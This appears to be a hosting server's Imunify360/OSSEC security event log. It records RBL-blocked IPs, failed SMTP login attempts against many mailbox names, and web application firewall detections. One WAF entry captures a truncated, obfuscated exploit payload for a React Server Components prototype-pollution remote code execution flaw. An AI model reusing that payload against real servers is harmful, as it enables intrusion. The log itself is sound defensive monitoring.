Jun 13 07:48:51 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.102.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.250.215.200
country_id: 1668284
description:
Jun 13 07:48:50 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.250.215.200 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:48:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:11556: 535 Incorrect authentication data (set_id=adadmin@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.20
country_id: 6252001
description:
205.169.39.20 - - [13/Jun/2026:07:48:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13068134&pdata=http%253A%252F%252Fcloud-et-racks.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336905 HTTP/1.1" 302 0 cloud-et-racks.tg "http://cloud-et-racks.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.20


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.242.180.190
country_id: 732800
description:
Jun 13 07:48:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.242.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:48:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jun 13 07:48:33 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.48.151.58
country_id: 1819730
description:
Jun 13 07:48:49 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.48.151.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:48:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:48:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:8644: 535 Incorrect authentication data (set_id=idefix@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.149.93
country_id: 99237
description:
Jun 13 07:48:39 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.149.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.27.34
country_id: 1835841
description:
Jun 13 07:49:05 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.27.34 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 13.204.75.102
country_id: 1269750
domain: sotranetogo.com
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:sotragonet||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:49:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:49:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:18690: 535 Incorrect authentication data (set_id=perl@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:49:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:49:36 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:49:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:49020: 535 Incorrect authentication data (set_id=testing2@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:49:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:15468: 535 Incorrect authentication data (set_id=mandatory@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:50:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:58954: 535 Incorrect authentication data (set_id=gaspar@ns5.netmaster.tg)


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: sophie-immobilier.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"reason\":-1,\"status\":\"resolved_model\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"ns_5b395949\":0,\"__f05af490\":\"fb2137562407366f\",\"ns_8a5ef6fd\":\"\",\"_response\":{\"_prefix\":\"var nt=arguments['\\\\x31'];var srag=nt;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:51:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:44718: 535 Incorrect authentication data (set_id=hashed@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:50:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:50:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:50:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:50:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:9612: 535 Incorrect authentication data (set_id=amministrazione@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:50:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:7122: 535 Incorrect authentication data (set_id=neighbor@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 35.87.251.7
country_id: 6252001
description:
35.87.251.7 - - [13/Jun/2026:07:51:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6657385&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252F9e748621ef5af3193726f97634097a23%252F1891d514c9aaf242756eccd4b76f285b%252F341167fea77beadc2c68115c2bca1713%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781337078 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/9e748621ef5af3193726f97634097a23/1891d514c9aaf242756eccd4b76f285b/341167fea77beadc2c68115c2bca1713/index.php?cmd=login" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.102 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:35.87.251.7


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:51:36 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: www.afrikimpact-media.tg.lct-togo.tg
description:


